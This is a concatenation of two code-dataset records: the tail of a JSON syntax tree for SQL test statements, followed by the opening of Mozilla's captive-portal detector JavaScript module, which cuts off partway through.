\"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"variant\": \"create\",\n \"format\": \"table\",\n \"definition\": [\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"a\",\n \"definition\": [\n {\n \"type\": \"constraint\",\n \"variant\": \"primary key\"\n }\n ]\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"b\",\n \"definition\": []\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"3\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"4\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"5\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"6\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"variant\": \"drop\",\n \"format\": \"table\",\n \"condition\": [\n {\n \"type\": \"condition\",\n \"condition\": \"if exists\"\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"name\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"variant\": \"create\",\n \"format\": \"table\",\n \"definition\": [\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"w\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"int\",\n \"affinity\": \"integer\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"x\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"int\",\n \"affinity\": \"integer\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"y\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"int\",\n \"affinity\": \"integer\"\n }\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"name\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t2\"\n },\n \"variant\": \"create\",\n \"format\": \"table\",\n \"definition\": [\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"p\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"int\",\n \"affinity\": \"integer\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"q\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"int\",\n \"affinity\": \"integer\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"r\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"int\",\n \"affinity\": \"integer\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"s\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"int\",\n \"affinity\": \"integer\"\n }\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"sub_w\"\n },\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"sub_x\"\n },\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"sub_y\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"select\",\n \"result\": [\n {\n \"type\": \"function\",\n \"name\": {\n \"type\": \"identifier\",\n \"variant\": \"function\",\n \"name\": \"max\"\n },\n \"args\": {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"y\"\n }\n ]\n }\n }\n ],\n \"from\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n }\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t2\"\n },\n \"result\": {\n \"type\": \"statement\",\n \"variant\": \"select\",\n \"result\": [\n {\n \"type\": \"expression\",\n \"format\": \"binary\",\n \"variant\": \"operation\",\n \"operation\": \"-\",\n \"left\": {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"101\"\n },\n \"right\": {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"w\"\n }\n },\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"x\"\n },\n {\n \"type\": \"expression\",\n \"format\": \"binary\",\n \"variant\": \"operation\",\n \"operation\": \"-\",\n \"left\": {\n \"type\": \"expression\",\n \"format\": \"binary\",\n \"variant\": \"operation\",\n \"operation\": \"+\",\n \"left\": {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"sub_maxy\"\n },\n \"right\": {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n }\n },\n \"right\": {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"y\"\n }\n },\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"y\"\n }\n ],\n \"from\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n }\n }\n },\n {\n \"type\": \"statement\",\n \"variant\": \"select\",\n \"result\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n ],\n \"from\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"where\": [\n {\n \"type\": \"expression\",\n \"format\": \"binary\",\n \"variant\": \"operation\",\n \"operation\": \"in\",\n \"right\": {\n \"type\": \"statement\",\n \"variant\": \"select\",\n \"result\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n ],\n \"from\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"where\": [\n {\n \"type\": \"expression\",\n \"format\": \"binary\",\n \"variant\": \"operation\",\n \"operation\": \"in\",\n \"right\": {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n }\n ]\n },\n \"left\": {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n }\n ]\n },\n \"left\": {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"select\",\n \"result\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n ],\n \"from\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"where\": [\n {\n \"type\": \"expression\",\n \"format\": \"binary\",\n \"variant\": \"operation\",\n \"operation\": \"in\",\n \"right\": {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"expression\",\n \"format\": \"unary\",\n \"variant\": \"operation\",\n \"expression\": {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n },\n \"operator\": \"-\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"4\"\n }\n ]\n },\n \"left\": {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"select\",\n \"result\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n ],\n \"from\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"where\": [\n {\n \"type\": \"expression\",\n \"format\": \"binary\",\n \"variant\": \"operation\",\n \"operation\": \"in\",\n \"right\": {\n \"type\": \"statement\",\n \"variant\": \"select\",\n \"result\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n ],\n \"from\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"where\": [\n {\n \"type\": \"expression\",\n \"format\": \"binary\",\n \"variant\": \"operation\",\n \"operation\": \"in\",\n \"right\": {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"expression\",\n \"format\": \"unary\",\n \"variant\": \"operation\",\n \"expression\": {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n },\n \"operator\": \"-\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"4\"\n }\n ]\n },\n \"left\": {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n }\n ]\n },\n \"left\": {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"rowid\"\n }\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"variant\": \"drop\",\n \"format\": \"table\",\n \"condition\": []\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t2\"\n },\n \"variant\": \"drop\",\n \"format\": \"table\",\n \"condition\": []\n },\n {\n \"type\": \"statement\",\n \"name\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"variant\": \"create\",\n \"format\": \"table\",\n \"definition\": [\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"a\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"blob\",\n \"affinity\": \"none\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"b\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"number\",\n \"affinity\": \"numeric\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"c\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"text\",\n \"affinity\": \"text\"\n }\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t1_i1\"\n },\n \"on\": {\n \"type\": \"identifier\",\n \"variant\": \"expression\",\n \"format\": \"table\",\n \"name\": \"t1\",\n \"columns\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"a\"\n }\n ]\n },\n \"variant\": \"create\",\n \"format\": \"index\",\n \"unique\": true\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t1_i2\"\n },\n \"on\": {\n \"type\": \"identifier\",\n \"variant\": \"expression\",\n \"format\": \"table\",\n \"name\": \"t1\",\n \"columns\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"b\"\n }\n ]\n },\n \"variant\": \"create\",\n \"format\": \"index\",\n \"unique\": true\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t1_i3\"\n },\n \"on\": {\n \"type\": \"identifier\",\n \"variant\": \"expression\",\n \"format\": \"table\",\n \"name\": \"t1\",\n \"columns\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"c\"\n }\n ]\n },\n \"variant\": \"create\",\n \"format\": \"index\",\n \"unique\": true\n },\n {\n \"type\": \"statement\",\n \"name\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t2\"\n },\n \"variant\": \"create\",\n \"format\": \"table\",\n \"definition\": [\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"x\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"blob\",\n \"affinity\": \"none\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"y\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"number\",\n \"affinity\": \"numeric\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"z\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"text\",\n \"affinity\": \"text\"\n }\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t2_i1\"\n },\n \"on\": {\n \"type\": \"identifier\",\n \"variant\": \"expression\",\n \"format\": \"table\",\n \"name\": \"t2\",\n \"columns\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"x\"\n }\n ]\n },\n \"variant\": \"create\",\n \"format\": \"index\",\n \"unique\": true\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t2_i2\"\n },\n \"on\": {\n \"type\": \"identifier\",\n \"variant\": \"expression\",\n \"format\": \"table\",\n \"name\": \"t2\",\n \"columns\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"y\"\n }\n ]\n },\n \"variant\": \"create\",\n \"format\": \"index\",\n \"unique\": true\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t2_i3\"\n },\n \"on\": {\n \"type\": \"identifier\",\n \"variant\": \"expression\",\n \"format\": \"table\",\n \"name\": \"t2\",\n \"columns\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"z\"\n }\n ]\n },\n \"variant\": \"create\",\n \"format\": \"index\",\n \"unique\": true\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t1\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t2\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"text\",\n \"value\": \"1\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"text\",\n \"value\": \"1\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"text\",\n \"value\": \"1\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"name\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t3\"\n },\n \"variant\": \"create\",\n \"format\": \"table\",\n \"definition\": [\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"a\",\n \"definition\": []\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"b\",\n \"definition\": []\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"c\",\n \"definition\": []\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t3_i\"\n },\n \"on\": {\n \"type\": \"identifier\",\n \"variant\": \"expression\",\n \"format\": \"table\",\n \"name\": \"t3\",\n \"columns\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"b\"\n },\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"a\"\n }\n ]\n },\n \"variant\": \"create\",\n \"format\": \"index\",\n \"unique\": true\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t3\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"1\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"text\",\n \"value\": \"numeric\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t3\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"text\",\n \"value\": \"text\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t3\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"3\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"text\",\n \"value\": \"real\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"variant\": \"insert\",\n \"action\": \"insert\",\n \"into\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"t3\"\n },\n \"result\": [\n {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"4\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"text\",\n \"value\": \"none\"\n },\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"2\"\n }\n ]\n }\n ]\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t3_i2\"\n },\n \"on\": {\n \"type\": \"identifier\",\n \"variant\": \"expression\",\n \"format\": \"table\",\n \"name\": \"t3\",\n \"columns\": [\n {\n \"type\": \"identifier\",\n \"variant\": \"column\",\n \"name\": \"b\"\n }\n ]\n },\n \"variant\": \"create\",\n \"format\": \"index\",\n \"unique\": true\n },\n {\n \"type\": \"statement\",\n \"target\": {\n \"type\": \"identifier\",\n \"variant\": \"index\",\n \"name\": \"t3_i2\"\n },\n \"variant\": \"drop\",\n \"format\": \"index\",\n \"condition\": []\n },\n {\n \"type\": \"statement\",\n \"name\": {\n \"type\": \"identifier\",\n \"variant\": \"table\",\n \"name\": \"folders\"\n },\n \"variant\": \"create\",\n \"format\": \"table\",\n \"definition\": [\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"folderid\",\n \"definition\": [\n {\n \"type\": \"constraint\",\n \"variant\": \"primary key\"\n }\n ],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"integer\",\n \"affinity\": \"integer\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"parentid\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"integer\",\n \"affinity\": \"integer\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"rootid\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"integer\",\n \"affinity\": \"integer\"\n }\n },\n {\n \"type\": \"definition\",\n \"variant\": \"column\",\n \"name\": \"path\",\n \"definition\": [],\n \"datatype\": {\n \"type\": \"datatype\",\n \"variant\": \"varchar\",\n \"affinity\": \"text\",\n \"args\": {\n \"type\": \"expression\",\n \"variant\": \"list\",\n \"expression\": [\n {\n \"type\": \"literal\",\n \"variant\": \"decimal\",\n \"value\": \"255\"\n }\n ]\n }\n }\n }\n ]\n }\n ]\n}"} {"text": "/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n'use strict';\n\nconst { classes: Cc, interfaces: Ci, results: Cr, utils: Cu } = Components;\n\nCu.import('resource://gre/modules/XPCOMUtils.jsm');\nCu.import('resource://gre/modules/Services.jsm');\n\nXPCOMUtils.defineLazyServiceGetter(this, \"gSysMsgr\",\n \"@mozilla.org/system-message-internal;1\",\n \"nsISystemMessagesInternal\");\n\nconst DEBUG = false; // set to true to show debug messages\n\nconst kCAPTIVEPORTALDETECTOR_CONTRACTID = '@mozilla.org/toolkit/captive-detector;1';\nconst kCAPTIVEPORTALDETECTOR_CID = Components.ID('{d9cd00ba-aa4d-47b1-8792-b1fe0cd35060}');\n\nconst kOpenCaptivePortalLoginEvent = 'captive-portal-login';\nconst kAbortCaptivePortalLoginEvent = 'captive-portal-login-abort';\nconst kCaptivePortalLoginSuccessEvent = 'captive-portal-login-success';\nconst kCaptivePortalCheckComplete = 'captive-portal-check-complete';\n\nconst kCaptivePortalSystemMessage = 'captive-portal';\n\nfunction URLFetcher(url, timeout) {\n let self = this;\n let xhr = Cc['@mozilla.org/xmlextras/xmlhttprequest;1']\n .createInstance(Ci.nsIXMLHttpRequest);\n xhr.open('GET', url, true);\n // Prevent the request from reading from the cache.\n xhr.channel.loadFlags |= Ci.nsIRequest.LOAD_BYPASS_CACHE;\n // Prevent the request from writing to the cache.\n xhr.channel.loadFlags |= Ci.nsIRequest.INHIBIT_CACHING;\n // Prevent privacy leaks\n xhr.channel.loadFlags |= Ci.nsIRequest.LOAD_ANONYMOUS;\n // The Cache-Control header is only interpreted by proxies and the\n // final destination. It does not help if a resource is already\n // cached locally.\n xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n // HTTP/1.0 servers might not implement Cache-Control and\n // might only implement Pragma: no-cache\n xhr.setRequestHeader(\"Pragma\", \"no-cache\");\n\n xhr.timeout = timeout;\n xhr.ontimeout = function () { self.ontimeout(); };\n xhr.onerror = function () { self.onerror(); };\n xhr.onreadystatechange = function(oEvent) {\n if (xhr.readyState === 4) {\n if (self._isAborted) {\n return;\n }\n if (xhr.status === 200) {\n self.onsuccess(xhr.responseText);\n } else if (xhr.status) {\n self.onredirectorerror(xhr.status);\n }\n }\n };\n xhr.send();\n this._xhr = xhr;\n}\n\nURLFetcher.prototype = {\n _isAborted: false,\n ontimeout: function() {},\n onerror: function() {},\n abort: function() {\n if (!this._isAborted) {\n this._isAborted = true;\n this._xhr.abort();\n }\n },\n}\n\nfunction LoginObserver(captivePortalDetector) {\n const LOGIN_OBSERVER_STATE_DETACHED = 0; /* Should not monitor network activity since no ongoing login procedure */\n const LOGIN_OBSERVER_STATE_IDLE = 1; /* No network activity currently, waiting for a longer enough idle period */\n const LOGIN_OBSERVER_STATE_BURST = 2; /* Network activity is detected, probably caused by a login procedure */\n const LOGIN_OBSERVER_STATE_VERIFY_NEEDED = 3; /* Verifing network accessiblity is required after a long enough idle */\n const LOGIN_OBSERVER_STATE_VERIFYING = 4; /* LoginObserver is probing if public network is available */\n\n let state = LOGIN_OBSERVER_STATE_DETACHED;\n\n let timer = Cc['@mozilla.org/timer;1'].createInstance(Ci.nsITimer);\n let activityDistributor = Cc['@mozilla.org/network/http-activity-distributor;1']\n .getService(Ci.nsIHttpActivityDistributor);\n let urlFetcher = null;\n\n let waitForNetworkActivity = false;\n\n let pageCheckingDone = function pageCheckingDone() {\n if (state === LOGIN_OBSERVER_STATE_VERIFYING) {\n urlFetcher = null;\n // Finish polling the canonical site, switch back to idle state and\n // waiting for next burst\n state = LOGIN_OBSERVER_STATE_IDLE;\n timer.initWithCallback(observer,\n captivePortalDetector._pollingTime,\n timer.TYPE_ONE_SHOT);\n }\n };\n\n let checkPageContent = function checkPageContent() {\n debug(\"checking if public network is available after the login procedure\");\n\n urlFetcher = new URLFetcher(captivePortalDetector._canonicalSiteURL,\n captivePortalDetector._maxWaitingTime);\n urlFetcher.ontimeout = pageCheckingDone;\n urlFetcher.onerror = pageCheckingDone;\n urlFetcher.onsuccess = function (content) {\n if (captivePortalDetector.validateContent(content)) {\n urlFetcher = null;\n captivePortalDetector.executeCallback(true);\n } else {\n pageCheckingDone();\n }\n };\n urlFetcher.onredirectorerror = pageCheckingDone;\n };\n\n // Public interface of LoginObserver\n let observer = {\n QueryInterface: XPCOMUtils.generateQI([Ci.nsIHttpActivityObserver,\n Ci.nsITimerCallback]),\n\n attach: function attach() {\n if (state === LOGIN_OBSERVER_STATE_DETACHED) {\n activityDistributor.addObserver(this);\n state = LOGIN_OBSERVER_STATE_IDLE;\n timer.initWithCallback(this,\n captivePortalDetector._pollingTime,\n timer.TYPE_ONE_SHOT);\n debug('attach HttpObserver for login activity');\n }\n },\n\n detach: function detach() {\n if (state !== LOGIN_OBSERVER_STATE_DETACHED) {\n if (urlFetcher) {\n urlFetcher.abort();\n urlFetcher = null;\n }\n activityDistributor.removeObserver(this);\n timer.cancel();\n state = LOGIN_OBSERVER_STATE_DETACHED;\n debug('detach HttpObserver for login activity');\n }\n },\n\n /*\n * Treat all HTTP transactions as captive portal login activities.\n */\n observeActivity: function observeActivity(aHttpChannel, aActivityType,\n aActivitySubtype, aTimestamp,\n aExtraSizeData, aExtraStringData) {\n if (aActivityType === Ci.nsIHttpActivityObserver.ACTIVITY_TYPE_HTTP_TRANSACTION\n && aActivitySubtype === Ci.nsIHttpActivityObserver.ACTIVITY_SUBTYPE_RESPONSE_COMPLETE) {\n switch (state) {\n case LOGIN_OBSERVER_STATE_IDLE:\n case LOGIN_OBSERVER_STATE_VERIFY_NEEDED:\n state = LOGIN_OBSERVER_STATE_BURST;\n break;\n default:\n break;\n }\n }\n },\n\n /*\n * Check if login activity is finished according to HTTP burst.\n */\n notify : function notify() {\n switch (state) {\n case LOGIN_OBSERVER_STATE_BURST:\n // Wait while network stays idle for a short period\n state = LOGIN_OBSERVER_STATE_VERIFY_NEEDED;\n // Fall though to start polling timer\n case LOGIN_OBSERVER_STATE_IDLE:\n if (waitForNetworkActivity) {\n timer.initWithCallback(this,\n captivePortalDetector._pollingTime,\n timer.TYPE_ONE_SHOT);\n break;\n }\n // if we don't need to wait for network activity, just fall through\n // to perform a captive portal check.\n case LOGIN_OBSERVER_STATE_VERIFY_NEEDED:\n // Polling the canonical website since network stays idle for a while\n state = LOGIN_OBSERVER_STATE_VERIFYING;\n checkPageContent();\n break;\n\n default:\n break;\n }\n },\n };\n\n return observer;\n}\n\nfunction CaptivePortalDetector() {\n // Load preference\n this._canonicalSiteURL = null;\n this._canonicalSiteExpectedContent = null;\n\n try {\n this._canonicalSiteURL =\n Services.prefs.getCharPref('captivedetect.canonicalURL');\n this._canonicalSiteExpectedContent =\n Services.prefs.getCharPref('captivedetect.canonicalContent');\n } catch (e) {\n debug('canonicalURL or canonicalContent not set.')\n }\n\n this._maxWaitingTime =\n Services.prefs.getIntPref('captivedetect.maxWaitingTime');\n this._pollingTime =\n Services.prefs.getIntPref('captivedetect.pollingTime');\n this._maxRetryCount =\n Services.prefs.getIntPref('captivedetect.maxRetryCount');\n debug('Load Prefs {site=' + this._canonicalSiteURL + ',content='\n + this._canonicalSiteExpectedContent + ',time=' + this._maxWaitingTime\n + \"max-retry=\" + this._maxRetryCount + '}');\n\n // Create HttpObserver for monitoring the login procedure\n this._loginObserver = LoginObserver(this);\n\n this._nextRequestId = 0;\n this._runningRequest = null;\n this._requestQueue = []; // Maintain a progress table, store callbacks and the ongoing XHR\n this._interfaceNames = {}; // Maintain names of the 